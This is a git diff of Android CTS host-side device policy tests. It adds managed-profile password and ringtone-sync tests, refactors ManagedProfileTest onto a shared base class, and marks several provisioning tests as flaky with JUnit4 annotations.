+ "testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled", mParentUserId);
+ } finally {
+ // Cleanup.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testCleanupWhitelist", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
+ }
+ }
+
+ private void runCrossProfileCalendarTestsWhenNotWhitelisted() throws Exception {
+ try {
+ // Setup. Enable cross-profile calendar in settings and insert test data into calendar
+ // provider. But make sure that the test package is not whitelisted for cross-profile
+ // calendar. Thus cross-profile calendar Uris should not be accessible.
+ // All setups should be done in managed profile.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testAddTestCalendarDataForWorkProfile", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testEnableCrossProfileCalendarSettings", mProfileUserId);
+
+ // Testing.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_cannotAccessWorkCalendarsWhenDisabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_cannotAccessWorkEventsWhenDisabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testPrimaryProfile_cannotAccessWorkInstancesWhenDisabled", mParentUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testViewEventCrossProfile_intentFailedWhenNotWhitelisted", mParentUserId);
+ } finally {
+ // Cleanup.
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testCleanupTestCalendarDataForWorkProfile", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+ "testDisableCrossProfileCalendarSettings", mProfileUserId);
+ }
+ }
+
+ private void setIdleWhitelist(String packageName, boolean enabled)
+ throws DeviceNotAvailableException {
+ String command = "cmd deviceidle whitelist " + (enabled ? "+" : "-") + packageName;
+ LogUtil.CLog.d("Output for command " + command + ": "
+ + getDevice().executeShellCommand(command));
+ }
+
+ private String changeCrossProfileWidgetForUser(String packageName, String command, int userId)
+ throws DeviceNotAvailableException {
+ String adbCommand = "am start -W --user " + userId
+ + " -c android.intent.category.DEFAULT "
+ + " --es extra-command " + command
+ + " --es extra-package-name " + packageName
+ + " " + MANAGED_PROFILE_PKG + "/.SetPolicyActivity";
+ String commandOutput = getDevice().executeShellCommand(adbCommand);
+ LogUtil.CLog.d("Output for command " + adbCommand + ": " + commandOutput);
+ return commandOutput;
+ }
+
+ private void startWidgetHostService() throws Exception {
+ String command = "am startservice --user " + mParentUserId
+ + " -a " + WIDGET_PROVIDER_PKG + ".REGISTER_CALLBACK "
+ + "--ei user-extra " + getUserSerialNumber(mProfileUserId)
+ + " " + WIDGET_PROVIDER_PKG + "/.SimpleAppWidgetHostService";
+ LogUtil.CLog.d("Output for command " + command + ": "
+ + getDevice().executeShellCommand(command));
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
new file mode 100644
index 0000000..dde6426
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+import android.stats.devicepolicy.EventId;
+
+import com.android.cts.devicepolicy.annotations.LockSettingsTest;
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import org.junit.Test;
+
+import java.util.concurrent.TimeUnit;
+
+public class ManagedProfilePasswordTest extends BaseManagedProfileTest {
+ private static final String USER_STATE_LOCKED = "RUNNING_LOCKED";
+ private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.MINUTES.toMillis(2);
+ // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
+ private static final String RESET_PASSWORD_TEST_DEFAULT_PASSWORD = "123456";
+
+ @FlakyTest
+ @Test
+ public void testLockNowWithKeyEviction() throws Exception {
+ if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
+ return;
+ }
+ changeUserCredential("1234", null, mProfileUserId);
+ lockProfile();
+ }
+
+ @Test
+ public void testPasswordMinimumRestrictions() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PasswordMinimumRestrictionsTest",
+ mProfileUserId);
+ }
+
+ @FlakyTest
+ @Test
+ public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
+ if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
+ return;
+ }
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testSetupWorkProfile", mProfileUserId);
+ lockProfile();
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testResetPasswordBeforeUnlock", mProfileUserId);
+ // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
+ verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
+ }
+
+ @FlakyTest
+ @Test
+ public void testClearPasswordWithTokenBeforeUnlock() throws Exception {
+ if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
+ return;
+ }
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testSetupWorkProfile", mProfileUserId);
+ lockProfile();
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testClearPasswordBeforeUnlock", mProfileUserId);
+ // Make sure profile has no password
+ verifyUserCredential("", mProfileUserId);
+ }
+
+ /**
+ * Test password reset token is still functional after the primary user clears and
+ * re-adds back its device lock. This is to detect a regression where the work profile
+ * undergoes an untrusted credential reset (causing synthetic password to change, invalidating
+ * existing password reset token) if it has unified work challenge and the primary user clears
+ * the device lock.
+ */
+ @FlakyTest
+ @Test
+ public void testResetPasswordTokenUsableAfterClearingLock() throws Exception {
+ if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
+ return;
+ }
+ final String devicePassword = "1234";
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testSetResetPasswordToken", mProfileUserId);
+ try {
+ changeUserCredential(devicePassword, null, mParentUserId);
+ changeUserCredential(null, devicePassword, mParentUserId);
+ changeUserCredential(devicePassword, null, mParentUserId);
+ lockProfile();
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
+ "testResetPasswordBeforeUnlock", mProfileUserId);
+ verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
+ } finally {
+ changeUserCredential(null, devicePassword, mParentUserId);
+ // Cycle the device screen to flush stale password information from keyguard,
+ // otherwise it will still ask for the non-existent password.
+ // return screen to be on for cts test runs
+ executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ executeShellCommand("input keyevent KEYCODE_SLEEP");
+ executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ }
+ }
+
+ @LockSettingsTest
+ @Test
+ public void testIsUsingUnifiedPassword() throws Exception {
+ if (!mHasFeature || !mHasSecureLockScreen) {
+ return;
+ }
+
+ // Freshly created profile has no separate challenge.
+ verifyUnifiedPassword(true);
+
+ // Set separate challenge and verify that the API reports it correctly.
+ changeUserCredential("1234" /* newCredential */, null /* oldCredential */, mProfileUserId);
+ verifyUnifiedPassword(false);
+ }
+
+ @FlakyTest
+ @LargeTest
+ @LockSettingsTest
+ @Test
+ public void testUnlockWorkProfile_deviceWidePassword() throws Exception {
+ if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
+ return;
+ }
+ String password = "0000";
+ try {
+ // Add a device password after the work profile has been created.
+ changeUserCredential(password, /* oldCredential= */ null, mPrimaryUserId);
+ // Lock the profile with key eviction.
+ lockProfile();
+ // Turn on work profile, by unlocking the profile with the device password.
+ verifyUserCredential(password, mPrimaryUserId);
+
+ // Verify profile user is running unlocked by running a sanity test on the work profile.
+ installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
+ } finally {
+ // Clean up
+ changeUserCredential(/* newCredential= */ null, password, mPrimaryUserId);
+ }
+ }
+
+ @FlakyTest
+ @LargeTest
+ @LockSettingsTest
+ @Test
+ public void testRebootDevice_unifiedPassword() throws Exception {
+ if (!mHasFeature || !mHasSecureLockScreen) {
+ return;
+ }
+ // Waiting before rebooting prevents flakiness.
+ waitForBroadcastIdle();
+ String password = "0000";
+ changeUserCredential(password, /* oldCredential= */ null, mPrimaryUserId);
+ try {
+ rebootAndWaitUntilReady();
+ verifyUserCredential(password, mPrimaryUserId);
+ installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
+ } finally {
+ changeUserCredential(/* newCredential= */ null, password, mPrimaryUserId);
+ // Work-around for http://b/113866275 - password prompt being erroneously shown at the
+ // end.
+ pressPowerButton();
+ }
+ }
+
+ @LargeTest
+ @LockSettingsTest
+ @Test
+ public void testRebootDevice_separatePasswords() throws Exception {
+ if (!mHasFeature || !mHasSecureLockScreen) {
+ return;
+ }
+ // Waiting before rebooting prevents flakiness.
+ waitForBroadcastIdle();
+ String profilePassword = "profile";
+ String primaryPassword = "primary";
+ int managedProfileUserId = getFirstManagedProfileUserId();
+ changeUserCredential(
+ profilePassword, /* oldCredential= */ null, managedProfileUserId);
+ changeUserCredential(primaryPassword, /* oldCredential= */ null, mPrimaryUserId);
+ try {
+ rebootAndWaitUntilReady();
+ verifyUserCredential(profilePassword, managedProfileUserId);
+ verifyUserCredential(primaryPassword, mPrimaryUserId);
+ installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
+ } finally {
+ changeUserCredential(
+ /* newCredential= */ null, profilePassword, managedProfileUserId);
+ changeUserCredential(/* newCredential= */ null, primaryPassword, mPrimaryUserId);
+ // Work-around for http://b/113866275 - password prompt being erroneously shown at the
+ // end.
+ pressPowerButton();
+ }
+ }
+
+ @Test
+ public void testCreateSeparateChallengeChangedLogged() throws Exception {
+ if (!mHasFeature || !mHasSecureLockScreen || !isStatsdEnabled(getDevice())) {
+ return;
+ }
+ assertMetricsLogged(getDevice(), () -> {
+ changeUserCredential(
+ "1234" /* newCredential */, null /* oldCredential */, mProfileUserId);
+ }, new DevicePolicyEventWrapper.Builder(EventId.SEPARATE_PROFILE_CHALLENGE_CHANGED_VALUE)
+ .setBoolean(true)
+ .build());
+ }
+
+ private void verifyUnifiedPassword(boolean unified) throws DeviceNotAvailableException {
+ final String testMethod =
+ unified ? "testUsingUnifiedPassword" : "testNotUsingUnifiedPassword";
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".IsUsingUnifiedPasswordTest",
+ testMethod, mProfileUserId);
+ }
+
+ private void lockProfile() throws Exception {
+ final String cmd = "am broadcast --receiver-foreground --user " + mProfileUserId
+ + " -a com.android.cts.managedprofile.LOCK_PROFILE"
+ + " com.android.cts.managedprofile/.LockProfileReceiver";
+ getDevice().executeShellCommand(cmd);
+ waitUntilProfileLocked();
+ }
+
+ private void waitUntilProfileLocked() throws Exception {
+ final String cmd = String.format("am get-started-user-state %d", mProfileUserId);
+ tryWaitForSuccess(
+ () -> getDevice().executeShellCommand(cmd).startsWith(USER_STATE_LOCKED),
+ "The managed profile has not been locked after calling "
+ + "lockNow(FLAG_SECURE_USER_DATA)",
+ TIMEOUT_USER_LOCKED_MILLIS);
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
index b71c4c87..897e23a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
@@ -15,6 +15,10 @@
*/
package com.android.cts.devicepolicy;
+import android.platform.test.annotations.FlakyTest;
+
+import org.junit.Test;
+
/**
* This class tests the provisioning flow with an APK that declares a single receiver with
* BIND_DEVICE_ADMIN permissions, which was a requirement for the app sending the
@@ -28,7 +32,7 @@
private int mProfileUserId;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// We need multi user to be supported in order to create a profile of the user owner.
@@ -42,7 +46,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
if (mProfileUserId != 0) {
removeUser(mProfileUserId);
@@ -52,6 +56,8 @@
super.tearDown();
}
+ @FlakyTest
+ @Test
public void testEXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
index 93a17e0..8dd68bf 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
@@ -15,6 +15,10 @@
*/
package com.android.cts.devicepolicy;
+import android.platform.test.annotations.FlakyTest;
+
+import org.junit.Test;
+
public class ManagedProfileProvisioningTest extends BaseDevicePolicyTest {
private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
@@ -23,7 +27,7 @@
private int mParentUserId;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// We need multi user to be supported in order to create a profile of the user owner.
@@ -39,7 +43,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
if (mProfileUserId != 0) {
removeUser(mProfileUserId);
@@ -49,7 +53,8 @@
}
super.tearDown();
}
-
+ @FlakyTest(bugId = 141747631)
+ @Test
public void testManagedProfileProvisioning() throws Exception {
if (!mHasFeature) {
return;
@@ -61,6 +66,8 @@
"testIsManagedProfile", mProfileUserId);
}
+ @FlakyTest(bugId = 127275983)
+ @Test
public void testEXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE() throws Exception {
if (!mHasFeature) {
return;
@@ -72,6 +79,8 @@
"testVerifyAdminExtraBundle", mProfileUserId);
}
+ @FlakyTest(bugId = 141747631)
+ @Test
public void testVerifySuccessfulIntentWasReceived() throws Exception {
if (!mHasFeature) {
return;
@@ -83,6 +92,8 @@
"testVerifySuccessfulIntentWasReceived", mProfileUserId);
}
+ @FlakyTest(bugId = 141747631)
+ @Test
public void testAccountMigration() throws Exception {
if (!mHasFeature) {
return;
@@ -97,6 +108,8 @@
"testAccountNotExist", mParentUserId);
}
+ @FlakyTest(bugId = 141747631)
+ @Test
public void testAccountCopy() throws Exception {
if (!mHasFeature) {
return;
@@ -111,6 +124,8 @@
"testAccountExist", mParentUserId);
}
+ @FlakyTest(bugId = 141747631)
+ @Test
public void testWebview() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
new file mode 100644
index 0000000..4f8d87f
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.devicepolicy;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.Test;
+
+public class ManagedProfileRingtoneTest extends BaseManagedProfileTest {
+ @Test
+ public void testRingtoneSync() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ givePackageWriteSettingsPermission(mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+ "testRingtoneSync", mProfileUserId);
+ }
+
+ // Test if setting RINGTONE disables sync
+ @Test
+ public void testRingtoneSyncAutoDisableRingtone() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ givePackageWriteSettingsPermission(mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+ "testRingtoneDisableSync", mProfileUserId);
+ }
+
+ // Test if setting NOTIFICATION disables sync
+ @Test
+ public void testRingtoneSyncAutoDisableNotification() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ givePackageWriteSettingsPermission(mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+ "testNotificationDisableSync", mProfileUserId);
+ }
+
+ // Test if setting ALARM disables sync
+ @Test
+ public void testRingtoneSyncAutoDisableAlarm() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ givePackageWriteSettingsPermission(mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
+ "testAlarmDisableSync", mProfileUserId);
+ }
+
+ private void givePackageWriteSettingsPermission(int userId) throws DeviceNotAvailableException {
+ // Allow app to write to settings (for RingtoneManager.setActualDefaultUri to work)
+ String command = "appops set --user " + userId + " " + MANAGED_PROFILE_PKG
+ + " android:write_settings allow";
+ CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 3f7bd9d..04ad46d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -13,12 +13,16 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-
package com.android.cts.devicepolicy;
import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import android.platform.test.annotations.LargeTest;
import android.stats.devicepolicy.EventId;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
@@ -26,132 +30,25 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
-import junit.framework.AssertionFailedError;
-
-import java.util.Collections;
-import java.util.concurrent.Callable;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
+import org.junit.Ignore;
+import org.junit.Test;
/**
* Set of tests for Managed Profile use cases.
*/
-public class ManagedProfileTest extends BaseDevicePolicyTest {
+public class ManagedProfileTest extends BaseManagedProfileTest {
- private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
- private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
-
+ private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+ private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
+ private static final String FEATURE_CAMERA = "android.hardware.camera";
+ private static final String FEATURE_WIFI = "android.hardware.wifi";
+ private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
private static final String DEVICE_OWNER_PKG = "com.android.cts.deviceowner";
private static final String DEVICE_OWNER_APK = "CtsDeviceOwnerApp.apk";
private static final String DEVICE_OWNER_ADMIN =
DEVICE_OWNER_PKG + ".BaseDeviceOwnerTest$BasicAdminReceiver";
- private static final String INTENT_SENDER_PKG = "com.android.cts.intent.sender";
- private static final String INTENT_SENDER_APK = "CtsIntentSenderApp.apk";
-
- private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
- private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
-
- private static final String WIDGET_PROVIDER_APK = "CtsWidgetProviderApp.apk";
- private static final String WIDGET_PROVIDER_PKG = "com.android.cts.widgetprovider";
-
- private static final String DIRECTORY_PROVIDER_APK = "CtsContactDirectoryProvider.apk";
- private static final String DIRECTORY_PROVIDER_PKG
- = "com.android.cts.contactdirectoryprovider";
- private static final String PRIMARY_DIRECTORY_PREFIX = "Primary";
- private static final String MANAGED_DIRECTORY_PREFIX = "Managed";
- private static final String DIRECTORY_PRIVOIDER_URI
- = "content://com.android.cts.contact.directory.provider/";
- private static final String SET_CUSTOM_DIRECTORY_PREFIX_METHOD = "set_prefix";
-
- private static final String NOTIFICATION_APK = "CtsNotificationSenderApp.apk";
- private static final String NOTIFICATION_PKG =
- "com.android.cts.managedprofiletests.notificationsender";
-
- private static final String ADMIN_RECEIVER_TEST_CLASS =
- MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
-
- private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
- private static final String FEATURE_CAMERA = "android.hardware.camera";
- private static final String FEATURE_WIFI = "android.hardware.wifi";
- private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
- private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
-
- private static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
-
- private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.MINUTES.toMillis(2);
-
- private static final String PARAM_PROFILE_ID = "profile-id";
-
- // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
- private static final String RESET_PASSWORD_TEST_DEFAULT_PASSWORD = "123456";
-
- private static final String PROFILE_CREDENTIAL = "1234";
- // This should be sufficiently larger than ProfileTimeoutTestHelper.TIMEOUT_MS
- private static final int PROFILE_TIMEOUT_DELAY_MS = 40_000;
-
- //The maximum time to wait for user to be unlocked.
- private static final long USER_UNLOCK_TIMEOUT_NANO = 30_000_000_000L;
-
- private static final String USER_UNLOCKED_SHELL_OUTPUT = "RUNNING_UNLOCKED";
-
- private int mParentUserId;
-
- // ID of the profile we'll create. This will always be a profile of the parent.
- private int mProfileUserId;
-
- private boolean mHasNfcFeature;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- // We need multi user to be supported in order to create a profile of the user owner.
- mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
- mHasNfcFeature = hasDeviceFeature("android.hardware.nfc")
- && hasDeviceFeature("android.sofware.nfc.beam");
-
- if (mHasFeature) {
- removeTestUsers();
- mParentUserId = mPrimaryUserId;
- mProfileUserId = createManagedProfile(mParentUserId);
- startUser(mProfileUserId);
-
- // Install the APK on both primary and profile user in one single transaction.
- // If they were installed separately, the second installation would become an app
- // update and result in the current running test process being killed.
- installAppAsUser(MANAGED_PROFILE_APK, USER_ALL);
- setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
- mProfileUserId);
- waitForUserUnlock();
- }
- }
-
- private void waitForUserUnlock() throws Exception {
- final String command = String.format("am get-started-user-state %d", mProfileUserId);
- final long deadline = System.nanoTime() + USER_UNLOCK_TIMEOUT_NANO;
- while (System.nanoTime() <= deadline) {
- if (getDevice().executeShellCommand(command).startsWith(USER_UNLOCKED_SHELL_OUTPUT)) {
- return;
- }
- Thread.sleep(100);
- }
- fail("Profile user is not unlocked.");
- }
-
- @Override
- protected void tearDown() throws Exception {
- if (mHasFeature) {
- removeUser(mProfileUserId);
- getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
- getDevice().uninstallPackage(INTENT_SENDER_PKG);
- getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
- getDevice().uninstallPackage(NOTIFICATION_PKG);
- }
- super.tearDown();
- }
-
+ @Test
public void testManagedProfilesSupportedWithLockScreenOnly() throws Exception {
if (mHasFeature) {
// Managed profiles should be only supported if the device supports the secure lock
@@ -160,6 +57,7 @@
}
}
+ @Test
public void testManagedProfileSetup() throws Exception {
if (!mHasFeature) {
return;
@@ -169,215 +67,12 @@
mProfileUserId);
}
- public void testWipeDataWithReason() throws Exception {
- if (!mHasFeature) {
- return;
- }
- assertTrue(listUsers().contains(mProfileUserId));
- sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITH_REASON");
- // Note: the managed profile is removed by this test, which will make removeUserCommand in
- // tearDown() to complain, but that should be OK since its result is not asserted.
- assertUserGetsRemoved(mProfileUserId);
- // testWipeDataWithReason() removes the managed profile,
- // so it needs to separated from other tests.
- // Check and clear the notification is presented after work profile got removed, so profile
- // user no longer exists, verification should be run in primary user.
- runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG,
- ".WipeDataNotificationTest",
- "testWipeDataWithReasonVerification",
- mParentUserId);
- }
-
- public void testWipeDataLogged() throws Exception {
- if (!mHasFeature) {
- return;
- }
- assertTrue(listUsers().contains(mProfileUserId));
- assertMetricsLogged(getDevice(), () -> {
- sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITH_REASON");
- }, new DevicePolicyEventWrapper.Builder(EventId.WIPE_DATA_WITH_REASON_VALUE)
- .setAdminPackageName(MANAGED_PROFILE_PKG)
- .setInt(0)
- .build());
- // Check and clear the notification is presented after work profile got removed, so profile
- // user no longer exists, verification should be run in primary user.
- runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG,
- ".WipeDataNotificationTest",
- "testWipeDataWithReasonVerification",
- mParentUserId);
- }
-
- public void testWipeDataWithoutReason() throws Exception {
- if (!mHasFeature) {
- return;
- }
- assertTrue(listUsers().contains(mProfileUserId));
- sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITHOUT_REASON");
- // Note: the managed profile is removed by this test, which will make removeUserCommand in
- // tearDown() to complain, but that should be OK since its result is not asserted.
- assertUserGetsRemoved(mProfileUserId);
- // testWipeDataWithoutReason() removes the managed profile,
- // so it needs to separated from other tests.
- // Check the notification is not presented after work profile got removed, so profile user
- // no longer exists, verification should be run in primary user.
- runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG,
- ".WipeDataNotificationTest",
- "testWipeDataWithoutReasonVerification",
- mParentUserId);
- }
-
- /**
- * wipeData() test removes the managed profile, so it needs to be separated from other tests.
- */
- public void testWipeData() throws Exception {
- if (!mHasFeature) {
- return;
- }
- assertTrue(listUsers().contains(mProfileUserId));
- sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA");
- // Note: the managed profile is removed by this test, which will make removeUserCommand in
- // tearDown() to complain, but that should be OK since its result is not asserted.
- assertUserGetsRemoved(mProfileUserId);
- }
-
- private void sendWipeProfileBroadcast(String action) throws Exception {
- final String cmd = "am broadcast --receiver-foreground --user " + mProfileUserId
- + " -a " + action
- + " com.android.cts.managedprofile/.WipeDataReceiver";
- getDevice().executeShellCommand(cmd);
- }
-
- public void testLockNowWithKeyEviction() throws Exception {
- if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
- return;
- }
- changeUserCredential("1234", null, mProfileUserId);
- lockProfile();
- }
-
- private void lockProfile() throws Exception {
- final String cmd = "am broadcast --receiver-foreground --user " + mProfileUserId
- + " -a com.android.cts.managedprofile.LOCK_PROFILE"
- + " com.android.cts.managedprofile/.LockProfileReceiver";
- getDevice().executeShellCommand(cmd);
- waitUntilProfileLocked();
- }
-
- private void waitUntilProfileLocked() throws Exception {
- final String cmd = "dumpsys activity | grep 'User #" + mProfileUserId + ": state='";
- final Pattern p = Pattern.compile("state=([\\p{Upper}_]+)$");
- SuccessCondition userLocked = () -> {
- final String activityDump = getDevice().executeShellCommand(cmd);
- final Matcher m = p.matcher(activityDump);
- return m.find() && m.group(1).equals("RUNNING_LOCKED");
- };
